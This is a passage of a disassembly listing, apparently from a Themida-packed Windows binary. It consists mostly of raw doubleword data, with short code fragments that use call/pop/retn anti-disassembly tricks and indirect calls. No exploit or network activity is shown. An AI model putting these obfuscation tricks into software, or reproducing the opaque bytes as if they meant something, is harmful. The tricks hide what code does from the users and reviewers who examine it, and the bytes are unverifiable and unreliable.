		dd 61023E5h, 0FAF66847h, 6A8728h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 2662D2C3h, 0A9302B36h
		dd 894D599Bh, 10000D95h, 99B5FF06h, 23061014h, 1011A58Dh
		dd 32858D06h, 8006103Ah, 0D0FF23E2h, 0F4B86660h, 0BF57BB65h
		dd 89617087h, 10328185h, 85895106h, 6100E69h, 0E585C65Fh
		dd 43061023h, 20558D29h, 0CD800610h, 6EFC6890h,	5751BC8Eh
		dd 2215958Bh, 59590610h, 1499B5FFh, 8D8B0610h, 6101395h
		dd 3A32858Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 4BC67FC3h, 0E408279Dh, 0BE99Ah
		dd 1E100000h, 0C151AB7h, 0B3075985h, 81D0FF84h,	0D7CAE4F1h
		dd 0F185890Fh, 66061015h, 85C6FA8Bh, 61023E5h, 12E945h
		dd 1B4D0000h, 8D3F294Fh, 821A320Dh, 0DDB05D52h,	3E37F9A7h
		dd 72696968h, 99958B8Eh, 0FF061031h, 101499B5h,	8D5EB106h
		dd 103A3285h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 66D0FF27h, 8589FE8Bh, 61009ADh, 137D8531h
		dd 85C60610h, 61023E5h,	75BD3144h, 66061011h, 68E2DCBAh
		dd 0B8F2EC64h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	21C35343h, 0E19C0929h, 0C06AF1E5h, 99B5FF06h, 6A061014h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0B6FBC351h, 5B4B4C5h, 0EA819100h,	33DA4B20h
		dd 3A32858Dh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 11E907C3h, 31000000h, 0D33F409h
		dd 0A9BCFD88h, 0A8F470AFh, 5B822D09h, 0A2DF8166h, 6AD0FFD2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 0AFCC352h, 89D2BF0Fh, 100A7185h, 8D896006h
		dd 6103349h, 54626CBAh,	85C6614Ch, 61023E5h, 45BD0143h
		dd 68061023h, 0C0764AA7h, 99B5FFF8h, 0F5061014h, 3A32858Dh
		dd 8B660610h, 29D0FFD7h, 100A6DBDh, 21858906h, 6A061016h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 1213C357h, 0BD80711Ch, 61305F4h, 0B1840F00h
		dd 29000000h, 10082995h, 0D6858D06h, 89061305h,	101E319Dh
		dd 0B5095006h, 6102F7Dh, 6A016Ah, 3341958Bh, 8B500610h
		dd 1014E595h, 6A5A06h, 0FFFA8B66h, 102EC995h, 659D8906h
		dd 89061005h, 10308D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0E927E473h, 0F07B549h
		dd 0FF6ACBB7h, 1ECD8501h, 0B5FF0610h, 610308Dh,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 7BC35646h, 0F9BCAD81h
		dd 3A336AEh, 1FA58D89h,	95FF0610h, 6100615h, 586EF781h
		dd 95894EAEh, 6100541h,	0C181C08Bh, 27D17FBDh, 158DBD83h
		dd 75000610h, 95BD8309h, 61000h, 53501974h, 0D1B8C08Bh
		dd 89000007h, 100E6585h, 159D8D06h, 0FF0612B8h,	83585BD3h
		dd 100095BDh, 17740006h, 0D1B85350h, 89000007h,	100E6585h
		dd 49D8D06h, 0FF0612B5h, 81585BD3h, 18C4A3D7h, 8B53B50Bh
		dd 6AC08BD7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 2EC8C350h, 0B70F1C20h,	0E585C6C8h
		dd 47061023h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 17h,	0AEC35242h, 0F0ADBFCh, 68Ah, 0DD9D8900h, 31061004h
		dd 1000F9B5h, 0F7C16806h, 11E893C8h, 6000000h, 9A99E8Ch
		dd 0E6A0B61Ch, 75461E11h, 38396885h, 2A6DBD8Bh,	0FF590610h
		dd 101499B5h, 0D19D8906h, 8D061006h, 103A3285h,	0F1BD8906h
		dd 0FF06100Dh, 0CFB70FD0h, 51006A50h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h
		dd 0D15D0D26h, 0A17858Dh, 85310613h, 6101E6Dh, 9400C7h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 2F3E87C3h, 1709120Eh, 8D8B0C5Ah, 610208Dh
		dd 11E18D29h, 8B580610h, 102171BDh, 17B58D06h, 0F06130Ah
		dd 687h, 0C9858900h, 56061030h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 57C35343h, 4841D7B0h, 0E9A324E9h
		dd 13h,	0DECD67B9h, 362EE697h, 3B114D23h, 146424CCh, 0FF84D877h
		dd 0D1958BD0h, 8B06100Eh, 10149D95h, 17858D06h,	8906130Ah
		dd 1009F98Dh, 4788306h,	15850F06h, 8B000000h, 102A19BDh
		dd 0AB85C706h, 106130Ah, 0BA000000h, 2799B242h,	32BDBD83h
		dd 0F000610h, 4585h, 0D98D8900h, 83061009h, 130AABBDh
		dd 850F0006h, 32h, 1CD59D89h, 0BD830610h, 610116Dh, 1F840F00h
		dd 80000000h, 860F71E6h, 6, 0BB1952Bh, 85C70610h, 610306Dh
		dd 0
; ---------------------------------------------------------------------------
		adc	ecx, 1D16500Ch
		mov	bx, ds
		push	0
		push	ebx
		call	sub_57CC58
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57CC58	proc near		; CODE XREF: Themida_:0057CC50p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_57CC58	endp

; ---------------------------------------------------------------------------
		dd 51C6BA64h, 38B428BFh, 0F6F55957h, 840F04C3h,	5F9h, 65ABA66h
		dd 220985C7h, 610h, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0B2E6F3C3h, 16280DD3h
		dd 0BF0F723Ah, 1BD80D7h, 61306h, 1850Fh, 0C6F80000h, 1023E585h
		dd 95894706h, 61005D1h,	0E45B8668h, 8BF78AE3h, 1029B5BDh
		dd 99B5FF06h, 89061014h, 10313DBDh, 0D1958B06h,	8D06101Eh
		dd 103A3285h, 0E5BA6606h, 6AD0FF5Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 8701C352h
		dd 0CA9BD8Bh, 8D8B0610h, 61009DDh, 10468h, 0BF0F5300h
		dd 9D8D5ACBh, 6103385h,	2359950Bh, 85890610h, 61021C5h
		dd 0CFB70F53h, 858DD0FFh, 6103385h, 21CDB589h, 50F90610h
		dd 6830Fh, 8D8B0000h, 6101915h,	5B3858Dh, 13E90613h, 77000000h
		dd 7399AED2h, 0C808EBF9h, 0BEF60D09h, 4AB7C5Fh,	0F50E406h
		dd 858DCFB7h, 612FC86h,	0E10EE281h, 6A502D89h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 5159C356h, 25195FFh,	83F80610h, 8D8B0CC4h, 6101B79h
		dd 8068006Ah, 6A000000h, 6A006A03h, 6800h, 858D8000h, 612FC86h
		dd 0F195FF50h, 89061015h, 13059685h, 0E585C606h, 47061023h
		dd 0B15E8768h, 99B5FFC7h, 8D061014h, 103A3285h,	6AD0FF06h
		dd 96B5FF00h, 0FF061305h, 57006AD0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B3B545Fh
		dd 8B6660FEh, 61B589CBh, 61061029h, 37D03Dh, 53830F00h
		dd 0E9000000h, 0Eh, 8326690Ch, 98DFDC66h, 7C1F66C4h, 0B5FFADEBh
		dd 6130596h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0DEC35545h, 19D890Dh, 0FF061001h, 10162195h, 89958B06h
		dd 0E906102Eh, 153h, 295D958Bh,	0B5FF0610h, 6130596h, 12E9h
		dd 48B4B900h, 0E3DBC3E2h, 70A39D2Fh, 62D9B458h,	0FFCA335Bh
		dd 10162195h, 0D38B6606h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0CD950AC3h, 68D0F94h
		dd 60000000h, 61605A57h, 60006A61h, 0E38A57B2h,	0F006A61h
		dd 0C8Eh, 68D0F00h, 33000000h, 10006195h, 0FC006A06h, 6A006Ah
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 135F7BC3h, 55A28302h, 81663B8Dh, 6ACC74D9h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 0D4E4C2C7h, 6BB16FB8h, 0EE89F72h, 7000000h, 16F884B3h
		dd 4676F38Ah, 0A8C2231Dh, 19858937h, 5F06100Bh,	59A858Dh
		dd 50F90613h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	0BAC35040h, 0E9B99998h,	0FF44E0B2h, 1015F195h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 9537D659h, 254A6968h, 0C9816692h, 0F8838F44h
		dd 7C850FFFh, 0F000001h, 68Eh, 499D2900h, 8D06102Eh, 12C0A585h
		dd 0AE906h, 995E0000h, 75D54383h, 0BA0C54D2h, 6AD0FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h
dword_57D000	dd 190424h, 56460000h, 48B4B9C3h, 6ADBC3E2h, 59B58900h
					; DATA XREF: Themida_:0054C91Co
		dd 6A06100Fh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 0D32AC3E3h, 5D8C5BE5h, 6890F51h
		dd 0F000000h, 8Ch, 6A5900h, 1C758589h, 6A0610h,	4B2FBF66h
		dd 8D8B006Ah, 6102E69h,	6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0FD354C3h, 584h, 0E9816600h
		dd 858DCB0Fh, 613059Ah,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 58C35242h, 800FA536h,	0
; ---------------------------------------------------------------------------
		sbb	cl, 1Fh
		push	eax
		pusha
		mov	[ebp+6101CC9h],	ebx
		popa
		call	dword ptr [ebp+61015F1h]
		push	0
		push	ecx
		call	sub_57D0D1
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D0D1	proc near		; CODE XREF: Themida_:0057D0C9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_57D0D1	endp

; ---------------------------------------------------------------------------
		sbb	[eax], esi
		mov	[ebp+6102FBDh],	edx
		cmp	eax, 0FFFFFFFFh
		jnz	loc_57D147
		clc
		lea	esi, [ebp+612FFA2h]
		movsx	edi, di
		lea	eax, [ebp+612AB5Eh]
		push	0
		push	edx
		call	sub_57D10D
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D10D	proc near		; CODE XREF: Themida_:0057D105p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_57D10D	endp

; ---------------------------------------------------------------------------
		align 2
		test	bl, 0B2h
		mov	byte ptr [eax+70h], 0BAh
		mov	dword ptr [ecx], 0B5893893h
		xor	ds:0D0FF0610h, eax
		mov	dx, di
		push	0
		mov	ecx, 3DADD6C3h
		call	dword ptr [ebp+61009ADh]
		mov	ecx, [ebp+61016ADh]


loc_57D147:				; CODE XREF: Themida_:0057D0ECj
		mov	[ebp+6130596h],	eax
		or	[ebp+6102809h],	edi
		push	0
		push	0
		push	ebx
		call	sub_57D160
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57D160	proc near		; CODE XREF: Themida_:0057D158p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_57D160	endp

; ---------------------------------------------------------------------------
		dd 0ADD2643Ah, 165F30Fh, 1005119Dh, 8E858D06h, 0E9061305h
		dd 12h,	9B9EAED1h, 6DE361D4h, 9240181Dh, 516132EAh, 66506A28h
		dd 9529D78Bh, 61000D5h,	958B046Ah, 6100461h, 2955858Dh
		dd 8D030610h, 6102A8Dh,	56006A50h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 5800F8Fh, 0BA000000h
		dd 64F070A6h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0FF7DE7C3h, 30A050E7h, 8DD8D8Bh
		dd 6A0610h, 38A0Fh, 0BF0F0000h,	60016ACEh, 0B58BCF8Bh
		dd 6101E9Dh, 96B5FF61h,	89061305h, 10123DBDh, 7195FF06h
		dd 0E906100Ah, 10h, 28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h
		dd 1BDBE9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 50CD1962h, 17ABAD36h, 8B66841Ch
		dd 0E9C08BD6h, 7, 77B88C68h, 837EE41Ch,	10158DBDh, 9750006h
		dd 95BD83h, 74000610h, 8B535019h, 7D2B8C0h, 85890000h
		dd 6100E65h, 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h
		dd 50177400h, 7D2B853h,	85890000h, 6100E65h, 0B5049D8Dh
		dd 0D3FF0612h, 0B589585Bh, 6102885h, 3101BD89h,	0C08B0610h
		dd 0C7CA8B66h, 10220985h, 106h,	0B9BD8B00h, 68061011h
		dd 0CEE4E7B8h, 2E61B5FFh, 858D0610h, 6103A32h, 8589D0FFh
		dd 6100D5Dh, 7F2858Dh, 8D500613h, 130AAF85h, 1685006h
		dd 0FF800000h, 100D5D95h, 75C00B06h, 0FD85C70Ah, 106102Fh
		dd 68000000h, 0C005DBD4h, 2E61B5FFh, 858D0610h,	6103A32h
		dd 8589D0FFh, 6101451h,	0FA3F858Dh, 0FF500612h,	101499B5h
		dd 8595FF06h, 0B06100Dh, 8B0B74C0h, 0F2858DD8h,	50061309h
		dd 858DD3FFh, 61309F2h,	9388366h, 85C70A75h, 61022E5h
		dd 1, 328195FFh, 0FF250610h, 83000000h,	0A7305F8h, 1AD985C7h
		dd 10610h, 0F9560000h, 8D9D895Ah, 80061022h, 130601BDh
		dd 840F0006h, 11h, 0ABBD83F8h, 6130Ah, 10840Fh,	0B70F0000h
		dd 1A62E9F9h, 0D18B0000h, 0F59BD89h, 0BD830610h, 61022E5h
		dd 0FB850F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 61FCC351h, 0FD6047Bh
		dd 0BF66FAB7h, 858D6CAAh, 61305CBh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0C0C35242h,	0CBC26C0Fh, 8B92B60Eh
		dd 958950D1h, 61006D9h,	6AF9016Ah, 25858900h, 6A06100Fh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 8F0F22h,	0FF000000h, 102EC995h, 959D0106h
		dd 8906100Eh, 1305F585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0B88320DBh, 5C0BAE34h
		dd 13E9C0h, 0DD700000h,	17DC1EE7h, 2732A817h, 0DFF1A057h
		dd 0CADBBCC7h, 8BFF6A3Dh, 1031C1BDh, 0F5B5FF06h, 66061305h
		dd 6EC8E181h, 61595FFh,	89600610h, 100A8DBDh, 89BE6606h
		dd 858D611Ch, 612FA06h,	4840Fh,	0BA660000h, 0E8606A3Eh
		dd 5, 0DA761F0h, 35BD89D4h, 5B061009h, 6EDBD89h, 50610610h
		dd 68A0Fh, 9D890000h, 6102119h,	15DD95FFh, 0B9660610h
		dd 0B70FF011h, 908589D3h, 890612FAh, 102D0D95h,	13858D06h
		dd 0B20612FAh, 8D335022h, 6101D55h, 0FA90B5FFh,	95290612h
		dd 61032C5h, 0D8595FFh,	85290610h, 6101F1Dh, 2169BD8Bh
		dd 85890610h, 61010A9h,	39467DB9h, 81858D2Ch, 500612FAh
		dd 0F09BD8Bh, 505A0610h, 0FA90B5FFh, 0FFF50612h, 100D8595h
		dd 1DB58906h, 89061017h, 12FAA485h, 0A58D8B06h,	8D061029h
		dd 12FA6085h, 0A9BD8B06h, 50061016h, 0F19D2956h, 5F06101Ah
		dd 0FA90B5FFh, 0EA810612h, 68BE5359h, 8595FFF8h, 0F806100Dh
		dd 0FA9C8589h, 0DE90612h, 97000000h, 0A9C94280h, 51C64572h
		dd 8A60FB07h, 20FDBD03h, 858D0610h, 612FA53h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 7C35646h, 85B58960h
		dd 0F061016h, 89h, 0DE96100h, 65000000h, 0F9F901B1h, 0ED7F1A41h
		dd 9B03F0F2h, 0FD858950h, 0FF061005h, 12FA90B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6684A114h, 8B66CF8Bh, 0BACEBFCFh, 95FF11F6h,	6100D85h
		dd 0FAA08589h, 8D8B0612h, 61013E5h, 0FA6E858Dh,	6A0612h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F544BC3h, 0CA8BD3BFh, 0FFD08B50h, 12FA90B5h, 0FFCF8B06h
		dd 100D8595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1C04h, 0C3504000h, 57657EF5h, 0A244A0Eh, 0A585897Ah
		dd 0E9061016h, 7, 1DBCB146h, 8D0BD591h,	12FA2285h, 1850F06h
		dd 0FC000000h, 3FBA6650h, 90B5FFD3h, 660612FAh,	95FFD78Bh
		dd 6100D85h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0E9C35040h, 0DFDB8F6Eh,	0FA948589h, 9E90612h, 16000000h
		dd 3971145Eh, 0F268B847h, 12E9h, 69D55F00h, 0F246955Dh
		dd 0F1C7DA1Bh, 31BC2554h, 8D12D169h, 12FA3185h,	0AE906h
		dd 7ECC0000h, 0BEA18EFEh, 0B58580D0h, 50CEBF0Fh, 13B59589h
		dd 0B5FF0610h, 612FA90h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 77C35646h, 0D9C197EFh, 5F8797B5h, 8595FFCFh
		dd 8B06100Dh, 1000B58Dh, 98858906h, 890612FAh, 1021618Dh
		dd 0D2B70F06h, 10468h, 28858D00h, 8B0612FBh, 1030FD95h
		dd 8E806h, 0E0610000h, 940FF883h, 0BD8BFC82h, 61009C9h
		dd 38B2505Fh, 0FC2C858Dh, 890F0612h, 2,	8950D18Bh, 102E59B5h
		dd 195FF06h, 6A061008h,	3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 2261C356h, 0F3BFD1ECh
		dd 8166EB15h, 856C7DC7h, 6850FC0h, 31000000h, 1014259Dh
		dd 1BD8006h, 61306h, 13850Fh, 85310000h, 6102205h, 15FBE9h
		dd 0C4F18000h, 0D9E5FDBFh, 0E5BD8353h, 61022h, 74850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 5B91ABC3h, 0FA2B5098h, 13E8FBh, 0B6BF0000h
		dd 9439751h, 40B3A326h,	33870BE7h, 0C8539E36h, 5FD68B6Ah
		dd 83FE8B66h, 130AABBDh, 840F0006h, 69h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 18h, 63C35040h, 4C4F9870h
		dd 12D8D89h, 858D0610h,	612FAC5h, 359D8960h, 0E9061033h
		dd 11h,	325CBDC3h, 0DD0B1593h, 0E9933C0h, 0CC7E2AD4h, 49E96119h
		dd 50000015h, 0DE9h, 64A17400h,	0E3CC28F3h, 20A917EEh
		dd 0E95ADA01h, 7, 0B0858DF8h, 500612FAh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Bh, 6DC35040h, 0F4466F97h
		dd 0E8019556h, 11h, 0D00638B7h,	0EC2D7BB8h, 0EF6D95AAh
		dd 0F29D0C0Dh, 0A1B509C0h, 59061029h, 0FB28858Dh, 0BF660612h
		dd 8D8BB9E3h, 6102181h,	5E950h,	0EBB80000h, 8377D699h
		dd 1022E5BDh, 840F0006h, 30h, 2255B501h, 858D0610h
		dd 612FC4Eh, 678FD781h,	1FE91588h, 0E8000000h, 0Dh, 5D6EC7F1h
		dd 9EB927F4h, 39A8440Ch, 21BD03F8h, 5A06101Eh, 0FC37858Dh
		dd 8B500612h, 1030BDBDh, 86858D06h, 6A0612FCh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 6BDEC357h, 3289A5C1h, 0F3E2585Eh, 13359523h,	6A500610h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 330FC355h, 95FF72BEh, 6100251h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0DDC35343h, 63A16D1Fh
		dd 5A56CF8Bh, 6A10C483h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 5130C355h, 0C08B7AB1h
		dd 77CA8166h, 8DBD83A9h, 61015h, 0BD830975h, 6100095h
		dd 50197400h, 0B8C08B53h, 7D3h,	0E658589h, 9D8D0610h, 612B815h
		dd 585BD3FFh, 95BD83h, 74000610h, 0B8535017h, 7D3h, 0E658589h
		dd 9D8D0610h, 612B504h,	585BD3FFh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 89C35747h, 721313BAh, 5E969h
		dd 0CDE0000h, 8B5E9104h, 5E9C0h, 0B5760000h, 8115C21Eh
		dd 12FAB0BDh, 65726F06h, 0AE840F61h, 6A000000h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0E618C357h, 28342259h, 0BD0B0C77h, 6102109h,	0FB28858Dh
		dd 8D500612h, 12FC6585h, 858D5006h, 612FC86h, 5195FF50h
		dd 83061002h, 85C60CC4h, 61023E5h, 184F6844h, 0B5FF96A3h
		dd 6101499h, 3A32858Dh,	0D0FF0610h, 858DD88Bh, 612FC86h
		dd 8DD3FF50h, 12FAB085h, 858D5006h, 612FB28h, 0E5BD8350h
		dd 61022h, 858D0874h, 612FC4Eh,	858D06EBh, 612FC37h, 86858D50h
		dd 500612FCh, 25195FFh,	0C4830610h, 0E1B50910h,	89061023h
		dd 100DF19Dh, 8195FF06h, 8B061032h, 1023F18Dh, 0FF2506h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 464217C3h, 53ED86A1h, 998D2981h, 0E8061011h
		dd 13h,	7D99336h, 2BADB633h, 0A4B55441h, 4C12631Eh, 0BDEA323h
		dd 101CDD95h, 0F8835906h, 40830F05h, 31000000h,	10064985h
		dd 0C787B606h, 101AD985h, 106h,	0CBB96600h, 0BD315282h
		dd 6103115h, 0E4858D5Ah, 600612FAh, 9953D081h, 9D895955h
		dd 61023ADh, 79E961h, 0C1800000h, 69958B4Bh, 83061004h
		dd 1022E5BDh, 840F0006h, 51h, 5E9h, 0E34E4900h,	858DF130h
		dd 612FB0Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	91C35646h, 0C0C5FA55h, 0F42AF8Bh, 28E9D6BFh, 0E9000000h
		dd 11h,	39832FA9h, 0D1648F11h, 4A2B4047h, 7AF8285Fh, 0F1858DDBh
		dd 0B20612FAh, 5E935h, 0C3520000h, 89D5784Bh, 12FB2485h
		dd 87BA6606h, 0E5BD83ABh, 61022h, 19850Fh, 0BD290000h
		dd 6102ED9h, 0AABBD83h,	0F000613h, 1184h, 298D2B00h, 0E9061020h
		dd 1158h, 1315958Bh, 79E90610h,	23000004h, 1030AD95h, 66C08B06h
		dd 2F56F281h, 8309E980h, 10158DBDh, 9750006h, 95BD83h
		dd 74000610h, 8B535019h, 7D4B8C0h, 85890000h, 6100E65h
		dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h
		dd 7D4B853h, 85890000h,	6100E65h, 0B5049D8Dh, 0D3FF0612h
		dd 6A585Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8B6612C3h, 5FC181F8h, 8B25943Eh, 68CE8BC0h
		dd 0F003Fh, 6D9BD89h, 6A0610h, 8B006AF8h, 0A995FFF8h, 6A061010h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 6DF2C352h, 85951C56h, 31850FC0h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 909AC351h, 8D03D405h, 6102DEDh, 1EE9BD29h
		dd 0B5890610h, 61001C9h, 0FAA88589h, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0DA82D2C3h
		dd 69F3D338h, 0BBF9D53h, 101FB9BDh, 29006A06h, 1007218Dh
		dd 0B1958B06h, 6A061013h, 89950300h, 6A06100Eh,	8B006A00h
		dd 1009A9BDh, 66006A06h, 8D0549BFh, 12FC8685h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 8837F381h, 11540D27h, 0B5893E1Ch, 6101685h, 0A1958B50h
		dd 6A061010h, 81958B01h, 6A061000h, 66C78101h, 6A65722Eh
		dd 0DB03BF01h, 0FF682929h, 66000F01h, 0BD83CA8Bh, 61022E5h
		dd 66840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0C2DDC357h,	0FB05858Dh
		dd 0F7810612h, 386454B1h, 41E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 36A8FB0Fh
		dd 14E9h, 1A101200h, 41811D8h, 0AAE7E91Dh, 1F6016DEh, 0F82598F6h
		dd 0DB858D51h, 800612FAh, 8950A3C5h, 100975BDh,	6A5006h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8B51C3h, 61010FDh, 0FAA8B5FFh, 6A0612h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 57639BC3h
		dd 1F66D3B9h, 95335A38h, 6100F91h, 68B0Fh, 0E2810000h
		dd 30082ADBh, 0FA9495FFh, 952B0612h, 61015B5h, 0C840Fh
		dd 830F0000h, 6, 810Fh,	0C0850000h, 43850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0EA7746C3h, 0E6271B65h, 0F88B4FBEh, 59E9h, 13E900h
		dd 0FC9C0000h, 79765CA1h, 0BC293AE7h, 0E2044755h, 0DB44DDE7h
		dd 0AC858972h, 0F90612FAh, 0FAACB5FFh, 14E90612h, 2A000000h
		dd 841BE467h, 578A9220h, 0F18ECECDh, 0E3C0AD5Dh, 0FF619A42h
		dd 1016A595h, 758D0906h, 0F906100Ah, 850FC085h,	6, 0C358D8Bh
		dd 106A0610h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 18h,	9C35141h, 9CE11521h, 0C330C181h, 0BD83171Eh, 61022E5h
		dd 16840F00h, 8D000000h, 12FB0585h, 0E1816606h,	23E9DA47h
		dd 8B000000h, 1030A595h, 0DB858D06h, 0E80612FAh, 9, 14A014FFh
		dd 0F6EC19A3h, 2810F1Fh, 60000000h, 6A505A61h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8BDEC357h, 0A8B5FFF9h, 6A0612FAh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 573AC351h
		dd 0FFD3BF0Fh, 12FAA095h, 39958B06h, 85061029h,	23850FC0h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0A12FC351h, 8198D01h, 85890610h
		dd 612FAACh, 60CA8166h,	0BF006A24h, 1F3A55F9h, 0B589006Ah
		dd 61005C5h, 0FAACB5FFh, 0B5890612h, 61030C1h, 0FA9895FFh
		dd 0C1810612h, 5B91ED6Eh, 850FC085h, 6,	5FDBD89h, 0B5FF0610h
		dd 612FAACh, 23CD9589h,	95FF0610h, 61016A5h, 11AD958Bh
		dd 0C0850610h, 6850Fh, 8D8B0000h, 610298Dh, 0BD8B006Ah
		dd 6102FEDh, 68C8BF0Fh,	80h, 9298D8Bh, 36A0610h, 0E8B9006Ah
		dd 6A0FDE75h, 0C7816600h, 686444h, 3C00000h, 1009F9BDh
		dd 8EBF6606h, 24B5FF48h, 310612FBh, 101B9595h, 0F195FF06h
		dd 6A061015h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
